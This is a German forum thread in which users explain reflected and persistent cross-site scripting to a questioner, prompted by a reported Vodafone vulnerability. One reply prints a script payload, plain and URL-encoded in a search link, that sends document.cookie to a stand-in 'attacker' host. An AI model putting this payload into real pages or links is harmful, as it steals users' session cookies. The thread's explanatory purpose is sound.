XSS - Erklärung

[qiller]

Anlässlich dieser Meldung hier
https://www.heise.de/news/c-t-deckt-auf-Sicherheitsluecke-bei-Vodafone-4907249.html
...frage ich mich, wie ein Angreifer den Webserver dazu bekommt, seinen Javascript-Code, den er z.B. in eine Suchmaske oder URL injeziert, im Browser eines ANDEREN Nutzers der Webseite auszuführen? Ich mein, wenn User A nach dem Begriff "Kuchen" auf der Webseite sucht, sieht doch User B nicht die Suchergebnisse von User A? Ich sehe hier erstmal nur, dass ein Angreifer sich quasi selber angreift. Wie kommt es dazu, dass dann plötzlich andere Nutzer der Webseite betroffen sind?

In der Wiki
https://de.wikipedia.org/wiki/Cross-Site-Scripting
...steht auch nur Cross-Site-Scripting ist eine Art der HTML-Injection. Cross-Site-Scripting tritt dann auf, wenn eine Webanwendung Daten annimmt, die von einem Nutzer stammen, und diese Daten dann an einen Browser weitersendet, ohne den Inhalt zu überprüfen. Damit ist es einem Angreifer möglich, auch Skripte indirekt an den Browser des Opfers zu senden und damit Schadcode auf der Seite des Clients auszuführen.

"Skripte indirekt an den Browser des Opfers zu senden" - Tjoar, dieses "indirekt senden" bedarf bei mir einer Erklärung. Ansonsten verstehe ich nicht, warum XSS nutzerübergreifend funktioniert.

[nalye]

https://blog.securityinnovation.com/a-simple-explanation-of-cross-site-scripting

bzw. als Bild
https://i.imgur.com/7rP5DYC.png

[PatkIllA]

Das mit dem Suchbegriff steht unten im Wiki. Da muss der Angreifer den Benutzer dazu bringen auf einen manipulierten Link zu klicken.

[#44]

Anfällig sind Stellen, an denen Nutzereigaben Bestandteil der Website werden.

Oder ganz anschaulich:


<script>
window.location='http://attacker/?cookie='+document.cookie
</script>

Der einzige Grund, warum du das eben lesen konntest und es nicht vom Browser ausgeführt wird ist, dass vBulletin explizit dagegen abgesichert ist.

[qiller]

Danke schonmal. Das sind dann aber alles Beispiele für diese "persistenten"? XSS-Angriffe, wo ein Angreifer quasi Code auf dem Webserver dauerhaft hinterlassen kann (Kommentare, Forum etc.) Das ist soweiten verständlich.

Und bei den manipulierten Suchergebnissen wird dann quasi die URL der Suchergebnisseite weiterverbreitet und das Opfer muss da draufklicken? Das ist dann quasi nur dafür da, um dem Angriffs-Link einen "seriösen" Anstrich zu geben (man könnte sonst ja auch direkt auf einen Angriff/Exploit linken)?

Also ist es nicht so, dass man automatisch angegriffen wird, nur weil man z.B. die Suche einer anfälligen Seite nutzt?

[#44]

Und bei den manipulierten Suchergebnissen wird dann quasi die URL der Suchergebnisseite weiterverbreitet und das Opfer muss da draufklicken? Das ist dann quasi nur dafür da, um dem Angriffs-Link einen "seriösen" Anstrich zu geben (man könnte sonst ja auch direkt auf einen Angriff/Exploit linken)?
Genau. Vielleicht gibt es aber noch ein paar Feinheiten, die ich übersehe - das ist nämlich nicht ganz mein Metier.

Sähe dann im Vergleich zu einem normalen Link so aus:

Normale URL

https://www.google.com/search?q=xss
Angriff (Natürlich kein echter - nur ein Beispiel)

Hey, schau dir das mal an:
https://www.google.com/search?q=%3Cscript%3Ewindow.location%3D%27http%3A%2F%2Fattacker%2F%3Fcookie%3D%2 7%2Bdocument.cookie%3C%2Fscript%3E
Grüße
#44

Hier auch zum selbst ausprobieren: https://www.google.com/search?q=%3Cscript%3Ewindow.location%3D%27http%3A%2F%2Fattacker%2F%3Fcookie%3D%2 7%2Bdocument.cookie%3C%2Fscript%3E

Damit könnte man bspw. restriktive Webfilter in Unternehmensnetzen umgehen - Vodafone.de dürfte da doch eher als vertrauenswürdige und damit zugelassene Seite gelten.
Und man hat auch eine höhere Wahrscheinlichkeit, dass die Nutzer klicken. Ist ja kein böser EMail-Anhang, vor dem man überall gewarnt wird. Zudem "prüfen" auch Laien Links recht häufig indem sie darüber hovern und die angezeigte URL lesen. Auch da ist das, was der Laie versteht (Domainname) erstmal unauffällig. (Auch wenn es da mit JS noch ganz andere Möglichkeiten gibt, jemanden der sich so absichern will zu täuschen...)

[sei laut]

Danke schonmal. Das sind dann aber alles Beispiele für diese "persistenten"? XSS-Angriffe, wo ein Angreifer quasi Code auf dem Webserver dauerhaft hinterlassen kann (Kommentare, Forum etc.) Das ist soweiten verständlich.

Und bei den manipulierten Suchergebnissen wird dann quasi die URL der Suchergebnisseite weiterverbreitet und das Opfer muss da draufklicken? Das ist dann quasi nur dafür da, um dem Angriffs-Link einen "seriösen" Anstrich zu geben (man könnte sonst ja auch direkt auf einen Angriff/Exploit linken)?

Also ist es nicht so, dass man automatisch angegriffen wird, nur weil man z.B. die Suche einer anfälligen Seite nutzt?
Ich denke, dass dein Verständnisproblem hier liegt:
javascript code wird in Webseiten (und seits in einer url wie bei #44 zu sehen) lokal bei dir ausgeführt. Das hat nichts mit der aufgerufenen Webseite zutun. Javascript Code läuft bei dir. Und wenn da was drinsteht, was "schädlich" ist, wird es bei dir lokal ausgeführt. Egal, ob in einer Webseite eingebettet oder in einem Link.

Beliebt war früher zum Beispiel, über javascript irgendwas aus dem netz runterzuladen und dann auszuführen. Das passierte dann beim Nutzer, der das aufgerufenen hat.
Moderne Betriebsysteme blockieren das zumeist, wenn nicht irgendeine Lücke ausgenutzt wird.

[qiller]

Dass Javascript lokal ausgeführt wird, ist mir schon klar. Das Problem, was ich mit XSS-Angriffen hatte, war, wie kommt das bösartige Javascript zum Opfer.

Bleiben wir mal bei Vodafone und die Sucheingabe. Wenn ich jetzt dort in der anfälligen Version der Seite eine Suche durchführe, werde ich als Suchender eben nicht einfach so angegriffen. Erst wenn ich die URL der Suchergebnisseite einer manipulierten Suche aufrufe, kommt das bösartige Javascript zur Ausführung. Da aber ein normaler Nutzer diese URL gar nicht kennt, muss hier ein Angreifer zwangsläufig dem Opfer diese URL erstmal "bekannt machen" und das Opfer muss diese URL dann auch noch aufrufen.

Um das mal nochmal mit meinen eigenen Worten zusammenzufassen (korrigiert mich, falls falsch): XSS-Angriffe nutzen im Grunde genommen den guten Ruf/Reputation/Reichweite einer Webseite mit Such-/Kommentarfunktion/Forum/Formular etc. aus, um Angriffscode bei den Besuchern bzw. hingelotsten Opfern mit einer höheren Erfolgswahrscheinlichkeit (Code kommt ja von einer renommierten Seite und wird daher weniger geblockt) lokal zur Ausführung zu bringen.

[PatkIllA]

Hier braucht ja nur jemand nach einer Empfehlung für einen Handy oder Kabelnetz Tarif fragen und dann verlinkt jemand auf die Vodafone Seite.

[sei laut]

[..]Um das mal nochmal mit meinen eigenen Worten zusammenzufassen (korrigiert mich, falls falsch): XSS-Angriffe nutzen im Grunde genommen den guten Ruf/Reputation/Reichweite einer Webseite mit Such-/Kommentarfunktion/Forum/Formular etc. aus, um Angriffscode bei den Besuchern bzw. hingelotsten Opfern mit einer höheren Erfolgswahrscheinlichkeit (Code kommt ja von einer renommierten Seite und wird daher weniger geblockt) lokal zur Ausführung zu bringen.
Ja, korrekt. Du bist Voafone Kunde, bekommst ne Pishing Mail mit "toller neuer Tarif, spare 120%, klick hier"
Vodafone Kunde klickt und Javascript wird beim geklickten aktiv.
Erstes Problem.
Zweites Problem:
Dadurch, dass das Javascript zum Vodafone Webservercode geht UND ungefiltert wieder zurückkommt, kann dabei auch im schlimmsten Fall die Ausgabe vom Vodafone Webservercode manipuliert werden, bzw. sogar je nachdem sogar Session Infos an den Angreifer übermittelt werden.
(was bei Vodafone vielleicht sogar Zugriff auf Webmail bedeutet, ist die Frage, ob das gekoppelt ist oder getrennt)

Edit: Wie mans dreht und wendet, es ist vom Webseitenprogrammierer einfach schlampig gearbeitet.